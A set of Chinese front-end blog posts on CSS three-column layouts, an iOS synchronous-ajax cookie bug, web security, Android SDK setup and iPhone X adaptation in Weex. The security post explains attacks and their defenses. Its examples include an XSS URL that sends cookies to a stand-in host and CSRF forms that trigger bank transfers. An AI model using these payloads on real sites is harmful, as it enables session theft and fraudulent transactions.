前言

突然有一天，脑之里不知怎地蹦出一个词，「双飞翼」，这是很久以前的淘宝提出的一种三栏布局优化方案，然而，时间久了已经不记得（换句话说是不理解）为啥要提出这个布局了，昨天在 SF 上发起了一个提问，但良久未有人答复，幸得@王能全是谁 提醒，终于回想起「双飞翼」的完整意义了。谨以此文同大家分享这段心路历程。

圣杯 & 双飞翼

说到「双飞翼」就不得不提及「圣杯」，两者均为三栏布局的优化解决方案如下图

常规情况下，我们的布局框架使用以下写法，从上到下，从左到右。

<header>header</header>
<section>
    <aside>left</aside>
    <section>main</section>
    <aside>right</aside>
</section>
<footer>footer</footer>

问题倒是没什么问题，然而，如果我们希望中部 main 部分优先显示的话，是可以做布局优化的。

因为浏览器渲染引擎在构建和渲染渲染树是异步的（谁先构建好谁先显示），那么将<section>main</section>部分提前即可优先渲染。

<header>header</header>
<section>
    <section>main</section>
    <aside>left</aside>
    <aside>right</aside>
</section>
<footer>footer</footer>

于是乎，国外的前辈就提出了「圣杯」布局，目的就是通过 css 的方式配合上面的 DOM 结构，优化 DOM 渲染。

我们来简要地了解一下「圣杯」布局，这不是重点。

圣杯布局

demo ：https://codepen.io/zwwill/pen/OBYXEa

<template>
<header>header</header>
<section class="wrapper">
    <section class="col main">main</section>
    <aside class="col left">left</aside>
    <aside class="col right">right</aside>
</section>
<footer>footer</footer>
</template>

<style>
/* 以下为简码，仅保留关键部分 */
header,footer {height: 50px;}
.wrapper {padding: 0 100px 0 100px; overflow:hidden;}
.col {position: relative; float: left;}
.main {width: 100%;height: 200px;}
.left {width: 100px; height: 200px; margin-left: -100%;left: -100px;}
.right {width: 100px; height: 200px; margin-left: -100px; right: -100px;}
</style>

使用了 relative 相对定位、float（需要请浮动，此处使用 overflow:hidden; 方法）和 负值 margin ，将 left 和 right 部分「安装」到 wrapper 的两侧，顾名「圣杯」。具体的思路我就不再做赘述了，网上到处都是解释。

圣杯有问题

当然，正常情况下是没有问题的，但是特殊情况下就会暴露此方案的弊端，如果将浏览器无线变窄，「圣杯」将会「破碎」掉。如图，当 main 部分的宽小于 left 部分时就会发生布局混乱。

于是，淘宝软对针对「圣杯」的缺点做了优化，并提出「双飞翼」布局。

双飞翼布局

demo ：https://codepen.io/zwwill/pen/oaRLao

同样的我们来看简码

<template>
<header>header</header>
<section class="wrapper">
    <section class="col main">
        <section class="main-wrap">main</section>
    </section>
    <aside class="col left">left</aside>
    <aside class="col right">right</aside>
</section>
<footer>footer</footer>
</template>

<style>
/* 以下为简码，仅保留关键部分 */
header,footer {height: 50px;}
.wrapper {padding: 0; overflow:hidden;}
.col {float: left;}
.main {width: 100%;}
.main-wrap {margin: 0 100px 0 100px;height: 200px;}
.left {width: 100px; height: 200px; margin-left: -100%;}
.right {width: 100px; height: 200px; margin-left: -100px;}
</style>

同样使用了 float 和 负值 margin,不同的是，并没有使用 relative 相对定位 而是增加了 dom 结构，增加了一个层级。确实解决了圣杯布局的缺陷。

为什么要设计「双飞翼」布局

双飞翼布局表面上看是很优秀，但是细细想来，为什么要多加一层 dom 树节点，这岂不是增加了 css 样式规则表和 dom 树合并成布局树的计算量吗？

好像绝对定位也可以解决这个问题

细想想，我们可以使用绝对布局，将左右侧边栏定位到到两侧啊？好像也不会出现圣杯布局的毛病？

<template>
<header>header</header>
<section class="wrapper">
    <section class="col main">main</section>
    <aside class="col left">left</aside>
    <aside class="col right">right</aside>
</section>
<footer>footer</footer>
</template>

<style>
/* 以下为简码，仅保留关键部分 */
header,footer { height: 50px;}
.wrapper { position: relative;}
.main { height: 200px; margin:0 100px;}
.left, .right{ width: 100px; height: 200px; position: absolute; top: 0;}
.left{ left: 0;}
.right{ right: 0;}
</style>

没有使用 float（不用请浮动）也没有 负值 margin ，仅仅使用了 absolute 绝对定位，好像更优秀呢？

但是细细想想，单纯的绝对定位有一个问题，「高度不可控」，我们假设，如果 left 部分的高度高于 main ，是不是 left 没有能力撑起整个 wrapper ？

「四不四」~~!

那么我们再来看看双飞翼和圣杯的情况

都是下图。

「应戳死听」~~!

那这么看来，所有的方案都或多或少存在一些问题。综合来看，不管 left, main, right 的大小高低如何，「双飞翼」布局都能正常显示，嗯~~确实很优秀。

锤子和钉子

综上所见，「双飞翼」布局更胜一筹。但是，这是一个「锤子和钉子」的问题，我们应该拿着钉子找锤子，而不是拿着锤子找钉子，因为，当你有了最大的锤子，看到什么都是钉子。

唉~，我又在装逼了。 \（￣︶￣）/

说白了，就是，对症下药，没有最好的方案，只有最适合的。关于三栏布局，我帮大家列出一个对照表，以便大家快速选择。

以上为个人理解，如有不对或可补充之处，还请指点。

另外关于 CSS 布局方案，和前端性能优化部分，移驾一下文章
多行多列类布局方案总结
前端性能优化总结

转载请标明出处
作者：木羽 zwwill
首发地址：#11

前言

遇到这种问题实属无奈，前端的浏览器兼容性一直是一个让人头痛的问题

仅以此文记录如此尴尬无奈的一天。拿来替大伙儿解闷T_T

场景再现

同事：快来！快来！线上出问题了！！
我：神马?! 咩?! WHAT?! なに?!
同事：是这次发布造成的吗？
我：回滚！回滚！（为什么要在快吃饭的时候掉链子！顾不上肚子了！快查吧）
......

一通混乱的对话后只能静下心来“扫雷”了。

回滚、代理、抓包、对比、单因子排查。。。

一套组合拳打完，大概一炷香的时间，终于找到了破绽，竟然是 ajax 同步回调的问题！不合理啊！不应该啊！还有这种操作？！

问题复现

一句话概括问题

使用 ajax 做“同步”请求，此请求会返回一个 cookie，在success回调中读取此目标cookie 失败！ajax执行结束后 document.cookie 才会被更新

影响范围

PC 端和 Android 端影响范围小，属于偶现。

IOS 端是重灾区，出来 Chrome 和 Safari 浏览器外的绝大多说浏览器都会出现此问题，并且 App 内置的 Webview 环境同样不能幸免。

在本同步请求回调内预读取本请求返回的 cookie 会产生问题。

半壁江山都沦陷了，我要这铁棒有何用！

追因溯果

小范围的兼容问题我姑且可以饶你，奈何你如此猖狂，怎能任你瞒天过海！

纵向对比

排除一些干扰项，还原其本质，我们分别用框架nej,jQuery和js写几个相同功能的“同步” demo，走着瞧着。。

【nej.html】使用 NEJ 库

<!DOCTYPE html>
<html>
<head>
	<title>nej</title>
	<meta charset="utf-8" />
</head>
<body>
	test
	<script src="http://nej.netease.com/nej/src/define.js?pro=./"></script>
	<script>
		define([
			'{lib}util/ajax/xdr.js'
		], function () {
			var _j = NEJ.P('nej.j');
			_j._$request('/api', {
				sync: true,
				method: 'POST',
				onload: function (_data) {
					alert("cookie:\n" + document.cookie)
				}
			});
		});
	</script>
</body>
</html>

【jquery.html】使用 jQuery 库

<!DOCTYPE html>
<html>
<head>
	<title>jquery</title>
	<meta charset="utf-8" />
</head>
<body>
	jquery
	<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
	<script>
		$.ajax({
			url: '/api',
			async: false,
			method: 'POST',
			success: function (result) {
				alert("cookie:\n" + document.cookie)
			}
		});
	</script>
</body>
</html>

【js.html】自己实现的 ajax 请求函数

<!DOCTYPE html>
<html>
<head>
    <title>JS</title>
    <meta charset="utf-8" />
</head>
<body>
    js
    <script>
        var _$ajax = (function () {
            /**
            * 生产XHR兼容IE6
            */
            var createXHR = function () {
                if (typeof XMLHttpRequest != "undefined") { // 非IE6浏览器
                    return new XMLHttpRequest();
                } else if (typeof ActiveXObject != "undefined") {   // IE6浏览器
                    var version = [
                        "MSXML2.XMLHttp.6.0",
                        "MSXML2.XMLHttp.3.0",
                        "MSXML2.XMLHttp",
                    ];
                    for (var i = 0; i < version.length; i++) {
                        try {
                            return new ActiveXObject(version[i]);
                        } catch (e) {
                            return null
                        }
                    }
                } else {
                    throw new Error("您的系统或浏览器不支持XHR对象！");
                }
            };
            /**
            * 将JSON格式转化为字符串
            */
            var formatParams = function (data) {
                var arr = [];
                for (var name in data) {
                    arr.push(name + "=" + data[name]);
                }
                arr.push("nocache=" + new Date().getTime());
                return arr.join("&");
            };
            /**
            * 字符串转换为JSON对象，兼容IE6
            */
            var _getJson = (function () {
                var e = function (e) {
                    try {
                        return new Function("return " + e)()
                    } catch (n) {
                        return null
                    }
                };
                return function (n) {
                    if ("string" != typeof n) return n;
                    try {
                        if (window.JSON && JSON.parse) return JSON.parse(n)
                    } catch (t) {
                    }
                    return e(n)
                };
            })();

            /**
            * 回调函数
            */
            var callBack = function (xhr, options) {
                if (xhr.readyState == 4 && !options.requestDone) {
                    var status = xhr.status;
                    if (status >= 200 && status < 300) {
                        options.success && options.success(_getJson(xhr.responseText));
                    } else {
                        options.error && options.error();
                    }
                    //清空状态
                    this.xhr = null;
                    clearTimeout(options.reqTimeout);
                } else if (!options.requestDone) {
                    //设置超时
                    if (!options.reqTimeout) {
                        options.reqTimeout = setTimeout(function () {
                            options.requestDone = true;
                            !!this.xhr && this.xhr.abort();
                            clearTimeout(options.reqTimeout);
                        }, !options.timeout ? 5000 : options.timeout);
                    }
                }
            };
            return function (options) {
                options = options || {};
                options.requestDone = false;
                options.type = (options.type || "GET").toUpperCase();
                options.dataType = options.dataType || "json";
                options.contentType = options.contentType || "application/x-www-form-urlencoded";
                options.async = options.async;
                var params = options.data;
                //创建 - 第一步
                var xhr = createXHR();
                //接收 - 第三步
                xhr.onreadystatechange = function () {
                    callBack(xhr, options);
                };
                //连接 和 发送 - 第二步
                if (options.type == "GET") {
                    params = formatParams(params);
                    xhr.open("GET", options.url + "?" + params, options.async);
                    xhr.send(null);
                } else if (options.type == "POST") {
                    xhr.open("POST", options.url, options.async);
                    //设置表单提交时的内容类型
                    xhr.setRequestHeader("Content-Type", options.contentType);
                    xhr.send(params);
                }
            }
        })();
        _$ajax({
            url: '/api',
            async: false,
            type: 'POST',
            success: function (result) {
                alert("cookie:\n" + document.cookie)
            }
        });
    </script>
</body>
</html>

三个文件都是一样的，在html 加载完之后发起一个同步请求，该请求会返回一个 cookie，在回调中将document.cookie打印出来，检测是否已经在回调时写入的了 cookie。

下面使用 node 实现这个可写 cookie 的服务。
【serve.js】

var express = require("express");
var http = require("http");
var fs = require("fs");
var app = express();

var router = express.Router();
router.post('/api', function (req, res, next) {
    res.header("Access-Control-Allow-Origin", "*");
    res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS");
    res.header("Access-Control-Allow-Headers", "Content-Type,Content-Length, Authorization, Accept,X-Requested-With");
    res.header("Set-Cookie", ["target=ccccccc|" + new Date()]);
    res.end('ok');
});

router.get('/test1', function (req, res, next) {
    fs.readFile("./nej.html", function (err, data) {
        res.end(data);
    });
});

router.get('/test2', function (req, res, next) {
    fs.readFile("./jquery.html", function (err, data) {
        res.end(data);
    });
});

router.get('/test3', function (req, res, next) {
    fs.readFile("./js.html", function (err, data) {
        res.end(data);
    });
});

app.use('/', router);
http.createServer(app).listen(3000); 

好了，万事大吉，run 一把

$ node serve.js

操作

我们依次执行如下操作，

1. 使用 ios 端 QQ 浏览器，清空所有缓存
2. 加载其中一个页面，观察是否有目标 cookie 输出
3. 执行刷新操作，观察是否有目标 cookie 输出，比较 cookie 输出的时间戳，确认是否为上次 cookie 的同步结果而非本次请求获取的 cookie，
4. 清空所有缓存，切换目标 html 文件，循环执行2，3，4步骤

结果

【nej.html】

• 纯净环境加载，未读取到目标 cookie
• 刷新加载，读取到上一次请求返回的 cookie

【jquery.html】

• 纯净环境加载，未读取到目标 cookie
• 刷新加载，未读取到目标 cookie

【js.html】

• 纯净环境加载，未读取到目标 cookie
• 刷新加载，未读取到目标 cookie

咦？结果不一样！使用 nej 的第二次加载读取到了第一次 cookie。其他的两次均为获取到。

原因

nej 依赖框架的加载是异步的，当同步请求发起时，dom 已经加载完毕，回调相应时，document.cookie已经呈“ready”状态，可读可写。但请求依然获取不到自身返回携带的 cookie。

而其他两种加载的机制阻塞了 dom 的加载，导致同步请求发起时，dom 尚未加载完成，回调相应时，document.cookie依然不可写。

单因子对照

我们将以上几个 html 文件的逻辑做下修改。
将同步请求推迟到 document 点击触发时再发起。
如下

$('document').click(function () {
    // TODO 发起同步请求
});

依然是上面的执行步骤，来看看此次的结果

结果

【nej.html】

• 纯净环境加载，未读取到目标 cookie
• 刷新加载，读取到上一次请求返回的 cookie

【jquery.html】

• 纯净环境加载，未读取到目标 cookie
• 刷新加载，读取到上一次请求返回的 cookie

【js.html】

• 纯净环境加载，未读取到目标 cookie
• 刷新加载，读取到上一次请求返回的 cookie

结果和预期一样，本次请求无法获取本期返回的目标 cookie，请求回调执行后，目标cookie才会更新到document.cookie上。

特例

在执行以上操作是，发现，【jquery.html】的执行结果时不时会有两种结果

• 纯净环境加载，未读取到目标 cookie
• 刷新加载，读取到上一次请求返回的 cookie
  另外一种几率较小，但也会出现
• 纯净环境加载，读取到目标 cookie
• 刷新加载，读取到目标 cookie

产生原因

一言不合看源码

我们在 jquery 的源码中看到，jquery 的success回调绑定在了 onload 事件上

https://code.jquery.com/jquery-3.2.1.js :9533行

而我自己实现的和 nej 的实现均是将success回调绑定在了 onreadystatechange 事件上，唯一的区别就在于此

一个正向的 ajax 请求，会先触发两次onreadystatechange，在触发onload，或许原因在于document.cookie的同步有几率在onload事件触发前完成？？I'm not sure.

问题结论

1. 在 PC 端，Android 端，IOS 端Chrome、Safari 浏览器环境下，ajax 的同步请求的回调方法中，取到本请求返回的 cookie 失败几率低
2. IOS 端，QQ 浏览器、App 内置Webview浏览器环境下，失败率极高。

解决方案

只有问题没有方案的都是在耍流氓！

方案1 - 明修栈道暗度陈仓

将回调方法中的 cookie 获取方法转化为异步操作。

_$ajax({
    url: '/api',
    async: false,
    type: 'POST',
    success: function (result) {
        setTimeout(function(){
            // do something 在此处获取 cookie 操作是安全的
        },0)
    }
});

方案2 - 不抵抗政策

没有把握的方案，我们是要斟酌着实施的。

如果你不能100%却被操作的安全性，那并不建议你强行使用 ajax 的同步操作，很多机制并不会像我们自以为是的那样理所应当。

关于Web安全的问题，是一个老生常谈的问题，作为离用户最近的一层，我们大前端确实需要把手伸的更远一点。

我们最常见的Web安全攻击有以下几种

1. XSS 跨站脚本攻击
2. CSRF 跨站请求伪造
3. clickjacking 点击劫持/UI-覆盖攻击

下面我们来一一分析

XSS 跨站脚本攻击

跨站脚本攻击（Cross Site Scripting），为了不和层叠样式表（Cascading Style Sheets, CSS）的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

分类

1. Reflected XSS（基于反射的XSS攻击）
2. Stored XSS（基于存储的XSS攻击）
3. DOM-based or local XSS（基于DOM或本地的XSS攻击）

Reflected XSS（基于反射的XSS攻击）

主要通过利用系统反馈行为漏洞，并欺骗用户主动触发，从而发起Web攻击。
举个栗子：

1. 假设，在严选网站搜索商品，当搜索不到时站点会做“xxx未上架提示”。如下图。

2. 在搜索框搜索内容，填入“<script>alert('xss')</script>”, 点击搜索。

3. 当前端页面没有对填入的数据进行过滤，直接显示在页面上， 这时就会alert那个字符串出来。

（当然上图是模拟的）

以上3步只是“自娱自乐”，XSS最关键的是第四步。

4. 进而可以构造获取用户cookies的地址，通过QQ群或者垃圾邮件，来让其他人点击这个地址：

http://you.163.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

5. 如果受骗的用户刚好已经登录过严选网站，那么，用户的登录cookie信息就已经发到了攻击者的服务器（xss.com）了。当然，攻击者会做一些更过分的操作。

Stored XSS（基于存储的XSS攻击）

Stored XSS和Reflected XSS的差别就在于，具有攻击性的脚本被保存到了服务器并且可以被普通用户完整的从服务的取得并执行，从而获得了在网络上传播的能力。

再举个栗子：

1. 发一篇文章，里面包含了恶意脚本

你好！当你看到这段文字时，你的信息已经不安全了！<script>alert('xss')</script>

2. 后端没有对文章进行过滤，直接保存文章内容到数据库。

3. 当其他读者看这篇文章的时候，包含的恶意脚本就会执行。

tips：文章是保存整个HTML内容的，前端显示时候也不做过滤，就极可能出现这种情况。
此为题多从在于博客网站。

如果我们的操作不仅仅是弹出一个信息，而且删除一篇文章，发一篇反动的文章，或者成为我的粉丝并且将这篇带有恶意脚本的文章转发，这样是不是就具有了攻击性。

DOM-based or local XSS（基于DOM或本地的XSS攻击）

DOM，全称Document Object Model，是一个平台和语言都中立的接口，可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS其实是一种特殊类型的反射型XSS，它是基于DOM文档对象模型的一种漏洞。可以通过DOM来动态修改页面内容，从客户端获取DOM中的数据并在本地执行。基于这个特性，就可以利用JS脚本来实现XSS漏洞的利用。

可能触发DOM型XSS的属性：
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
······

总结

XSS攻击的本质就是，利用一切手段在目标用户的浏览器中执行攻击脚本。

防范

对于一切用户的输入、输出、客户端的输出内容视为不可信，在数据添加到DOM或者执行了DOM API的时候，我们需要对内容进行HtmlEncode或JavaScriptEncode，以预防XSS攻击。

具体实施，请参考此篇博文http://www.cnblogs.com/lovesong/p/5211667.html

CSRF 跨站请求伪造

CSRF（Cross-site request forgery）跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比XSS更具危险性。但往往同XSS一同作案！

此下的详解转子hyddd的博客http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html，示例写的很赞就大部分誊抄至此，并做了一定的修改，向作者致敬&致谢。

CSRF可以做什么？

你这可以这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账......造成的问题包括：个人隐私泄露以及财产安全。

CSRF漏洞现状

CSRF这种攻击方式在2000年已经被国外的安全人员提出，但在国内，直到06年才开始被关注，08年，国内外的多个大型社区和交互网站分别爆出CSRF漏洞，如：NYTimes.com（纽约时报）、Metafilter（一个大型的BLOG网站），YouTube和百度HI......而现在，互联网上的许多站点仍对此毫无防备，以至于安全业界称CSRF为“沉睡的巨人”。

CSRF的原理

下图简单阐述了CSRF攻击的**：

从上图可以看出，要完成一次CSRF攻击，受害者必须依次完成两个步骤：

1. 登录受信任网站A，并在本地生成Cookie。
2. 在不登出A的情况下，访问危险网站B。

看到这里，你也许会说：“如果我不满足以上两个条件中的一个，我就不会受到CSRF的攻击”。是的，确实如此，但你不能保证以下情况不会发生：
　　

1. 你不能保证你登录了一个网站后，不再打开一个tab页面并访问另外的网站。
2. 你不能保证你关闭浏览器了后，你本地的Cookie立刻过期，你上次的会话已经结束。（事实上，关闭浏览器不能结束一个会话，但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......）
3. 上图中所谓的攻击网站，可能是一个存在其他漏洞的可信任的经常被人访问的网站。
    

示例

上面大概地讲了一下CSRF攻击的**，下面我将用几个例子详细说说具体的CSRF攻击，这里我以一个银行转账的操作作为例子（仅仅是例子，真实的银行网站没这么傻:>）

示例1

银行网站A，它以GET请求来完成银行转账的操作，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危险网站B，它里面有一段HTML的代码如下：

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先，你登录了银行网站A，然后访问危险网站B，噢，这时你会发现你的银行账户少了1000块......

为什么会这样呢？原因是银行网站A违反了HTTP规范，使用GET请求更新资源。在访问危险网站B的之前，你已经登录了银行网站A，而B中的以GET的方式请求第三方资源（这里的第三方就是指银行网站了，原本这是一个合法的请求，但这里被不法分子利用了），所以你的浏览器会带上你的银行网站A的Cookie发出Get请求，去获取资源

http://www.mybank.com/Transfer.php?toBankId=11&money=1000

结果银行网站服务器收到请求后，认为这是一个更新资源操作（转账操作），所以就立刻进行转账操作......

示例2

为了杜绝上面的问题，银行决定改用POST请求完成转账操作。
银行网站A的WEB表单如下：

<form action="Transfer.php" method="POST">
    <p>ToBankId: <input type="text" name="toBankId" /></p>
    <p>Money: <input type="text" name="money" /></p>
    <p><input type="submit" value="Transfer" /></p>
</form>

后台处理页面Transfer.php如下：

<?php
　　　　session_start();
　　　　if (isset($_REQUEST['toBankId'] &&　isset($_REQUEST['money']))
　　　　{
　　　　    buy_stocks($_REQUEST['toBankId'],　$_REQUEST['money']);
　　　　}
?>

危险网站B，仍然只是包含那句HTML代码：

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

和示例1中的操作一样，你首先登录了银行网站A，然后访问危险网站B，结果.....和示例1一样，你再次没了1000块～T_T，这次事故的原因是：银行后台使用了$_REQUEST去获取请求的数据，而$_REQUEST既可以获取GET请求的数据，也可以获取POST请求的数据，这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中，可以使用$_GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中，用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。

示例3

经过前面2个惨痛的教训，银行决定把获取请求数据的方法也改了，改用$_POST，只获取POST请求的数据，后台处理页面Transfer.php代码如下：

<?php
　　　　session_start();
　　　　if (isset($_POST['toBankId'] &&　isset($_POST['money']))
　　　　{
　　　　    buy_stocks($_POST['toBankId'],　$_POST['money']);
　　　　}
　　?>

　　然而，危险网站B与时俱进，它改了一下代码：

<html>
　　<head>
　　　　<script type="text/javascript">
　　　　　　function steal()
　　　　　　{
          　　　　 iframe = document.frames["steal"];
　　     　　      iframe.document.Submit("transfer");
　　　　　　}
　　　　</script>
　　</head>

　　<body onload="steal()">
　　　　<iframe name="steal" display="none">
　　　　　　<form method="POST" name="transfer"　action="http://www.myBank.com/Transfer.php">
　　　　　　　　<input type="hidden" name="toBankId" value="11">
　　　　　　　　<input type="hidden" name="money" value="1000">
　　　　　　</form>
　　　　</iframe>
　　</body>
</html>

如果用户仍是继续上面的操作，很不幸，结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!
　　
总结一下上面3个例子，CSRF主要的攻击模式基本上是以上的3种，其中以第1,2种最为严重，因为触发条件很简单，一个就可以了，而第3种比较麻烦，需要使用JavaScript，所以使用的机会会比前面的少很多，但无论是哪种情况，只要触发了CSRF攻击，后果都有可能很严重。
　　
理解上面的3种攻击模式，其实可以看出，CSRF攻击是源于WEB的隐式身份验证机制！WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的！

当前防御 CSRF 的几种策略

在业界目前防御 CSRF 攻击主要有三种策略：验证 HTTP Referer 字段；在请求地址中添加 token 并验证；在 HTTP 头中自定义属性并验证。下面就分别对这三种策略进行详细介绍。

验证 HTTP Referer 字段

利用HTTP头中的Referer判断请求来源是否合法。

优点：简单易行，只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统，不需要改变当前系统的任何已有代码和逻辑，没有风险，非常便捷。

缺点：
1、Referer 的值是由浏览器提供的，不可全信，低版本浏览器下Referer存在伪造风险。
2、用户自己可以设置浏览器使其在发送请求时不再提供 Referer时，网站将拒绝合法用户的访问。

在请求地址中添加 token 并验证

在请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中，以HTTP请求参数的形式加入一个随机产生的 token交由服务端验证

优点：比检查 Referer 要安全一些，并且不涉及用户隐私。
缺点：对所有请求都添加token比较困难，难以保证 token 本身的安全，依然会被利用获取到token

在 HTTP 头中自定义属性并验证+One-Time Tokens

将token放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 的异步请求交由后端校验，并且一次有效。

优点：统一管理token输入输出，可以保证token的安全性
缺点：有局限性，无法在非异步的请求上实施

clickjacking 点击劫持/UI-覆盖攻击

clickjacking，点击劫持，也叫UI覆盖攻击，攻击者会利用一个或多个透明或不透明的层来诱骗用户支持点击按钮的操作，而实际的点击确实用户看不到的一个按钮，从而达到在用户不知情的情况下实施攻击。

这种攻击方式的关键在于可以实现页中页的<iframe />标签，并且可以使用css样式表将他不可见

如以上示意图的蓝色层，攻击者会通过一定的手段诱惑用户“在红色层”输入信息，但用户实际上实在蓝色层中，以此做欺骗行为。

拿支付宝做个栗子

上图是支付宝手机话费充值的界面。

再看看一下界面

是的，这个是我伪造的，如果我将真正的充值站点隐藏在此界面上方。我想，聪明的你已经知道clickjacking的危险性了。

上图我估计做了一下错位和降低透明度，是不是很有意思呢？傻傻分不清的用户还以为是领取了奖品，其实是给陌生人充值了话费。

这种方法最常见的攻击场景是伪造一些网站盗取帐号信息，如支付宝、QQ、网易帐号等帐号的账密

目前，clickjacking还算比较冷门，很多安全意识不强的网站还未着手做clickjacking的防范。这是很危险的。

防范

防止点击劫持有两种主要方法：

X-FRAME-OPTIONS

X-FRAME-OPTIONS是微软提出的一个http头，指示浏览器不允许从其他域进行取景，专门用来防御利用iframe嵌套的点击劫持攻击。并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
这个头有三个值：
DENY // 拒绝任何域加载
SAMEORIGIN // 允许同源域下加载
ALLOW-FROM // 可以定义允许frame加载的页面地址

顶层判断

在UI中采用防御性代码，以确保当前帧是最顶层的窗口
方法有多中，如

top != self || top.location != self.location || top.location != location

有关Clickjacking防御的更多信息，请参阅Clickjacking Defense Cheat Sheet.

参考

1. 浅谈CSRF攻击方式 - http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
2. CSRF 攻击的应对之道 - https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/

MacOS开发Android app经常会遇到环境的坑，$ANDROID_HOME就是其中之一

如果碰到这个信号就要注意了，解决这个问题的方式有很多,度娘、狗狗马上告诉你答案，但适合自己的才是最好的，因为方法治标不治本（新启动的terminal由被还原了）

解决方法

SDK在哪？

首先你要知道你的SDK安装在哪里，有几种可能
1、直接从WEB上下载的SDK

ANDROID_HOME= .../ADT/sdk

如果拖拽到了【应用程序】（Applications）目录下

ANDROID_HOME=~/Applications/ADT/sdk

2、使用Homebrew (brew install android-sdk)下载

ANDROID_HOME=/usr/local/Cellar/android-sdk/{YOUR_SDK_VERSION_NUMBER}

3、 随Android Studio下载

ANDROID_HOME=/Users/{YOUR_USER_NAME}/Library/Android/sdk

配置

export ANDROID_HOME={YOUR_PATH}
#mine: export ANDROID_HOME=/Users/zwwill/Library/Android/sdk
#or  : export ANDROID_HOME=~/Library/Android/sdk
export PATH=$PATH:$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools

或者将以上脚本配置到~/.bash_profile文件下，如果没有就新建一个，然后执行

source ~/.bash_profile

前言

iPhone X 上市也一月有余了，「齐刘海」的设计给全世界的 IOS 和 M 站开发人员出了一道兼容题目，默认效果问题虽不严重，但是足以逼疯强迫症患者。幸得项目「空窗期」，实践下 iPhone X 的适配。还记得之前的一篇文章吗？《【Weex】网易严选 App 感受 Weex 开发》，此处将以此 demo 为基础做展开 Weex 适配。Native 和 H5 的适配此处就不再做赘述了。「专业 IOS 开发同学就当个笑话看看吧，反正你都会，此文是写给不会原生的朋友的」

默认的样子

如果不仔细看，还以为是 iPhone 7 的效果，这也是官方「故意为之」的。

如果你用惯了 iPhone X，无意识地打开了一个类似上图的 app，着实会有点难以接受。

全屏操作

打开 iPhone X 的全屏模式其实很简单，只需要在 Xcode 里配置 iPhone X 的 LaunchImage 即可，也可以直接改配置文件。

可能 Weex Toolkit 构建出来的 Platform 内不含这两个配置图片，不过没关系，右击选择「Show in Finder」，更改 「Contents.json」 配置文件。

{
    "images" : [
        {
            "extent" : "full-screen",
            "idiom" : "iphone",
            "subtype" : "2436h",
            "filename" : "[email protected]",
            "minimum-system-version" : "11.0",
            "orientation" : "portrait",
            "scale" : "3x"
        },
        {
            "extent" : "full-screen",
            "idiom" : "iphone",
            "subtype" : "2436h",
            "filename" : "[email protected]",
            "minimum-system-version" : "11.0",
            "orientation" : "landscape",
            "scale" : "3x"
        },
        {
            // other conf
        }
    ],
    "info" : {
        "version" : 1,
        "author" : "xcode"
    }
}

再添加两张 1125×2436 的图片，记得名字需要和 filename 匹配，然后重新构建，你就会发现，他全屏啦！

同 native 适配有何不同

Weex 针对 iPhone X 的兼容直接发生在前端开发层面。

「不会搞 Native 是前提」,有了这个前提，我们就只能自己动手了。

动手的原则就是，「合理利用每寸空间，将内容展示在安全区内」。

什么是安全区

安全区是苹果用来描述 iPhone X 的合理显示区域。

手机纵向持握状态下，安全区是从屏幕最顶端往下 44 pt 开始计算的，要注意的是，它并不是和「齐刘海」完全齐平的，而是要再往下一点。「下巴」位置上，从下往上推 34 pt 以上的部分开始才被视为安全区。

至于横向就不好描述了，直接上图吧。

更多关于 iPhone X UI 适配的概念可以看看这篇文章

方向

原则上，我们是将内容显示在安全区内，但一定是在「自然过度」的前提下。

此 demo 没有横屏模式，所有，唯一需要适配的就是，竖屏模式下安全区外的界面遮挡处理。

也就是上下两个部分内收处理。空出来的部分用同色色块填充。

识别 iPhone X

既要适配 iPhone X 又不能影响其他系统，那就需要做「特殊识别处理」。

怎么识别 iPhone X？

幸运的是，Weex 官方有 API 提供平台消息，weex.config，

weex.config

该变量包含了当前 Weex 页面的所有环境信息，包括不仅限于：

bundleUrl: JS bundle 的 URL，和页面的 URL 一致。

env: Object: 环境对象。

• weexVersion: string: Weex sdk 版本。
• appName: string: 应用名字。
• appVersion: string: 应用版本。
• platform: string: 平台信息，是 iOS、Android 还是 Web。
• osName: string: iOS或者android，表示操作系统的名称.
• osVersion: string: 系统版本。
• deviceModel: string: 设备型号 (仅原生应用) 。
• deviceWidth: number: 设备宽度。Weex 默认以宽度为 750px 做适配渲染，要获得750px下的屏幕高度，可以通过height = 750/deviceWidth*deviceHeight 公式获得，可以使用到 CSS 中，用来设置全屏尺寸
• deviceHeight: number: 设备高度。

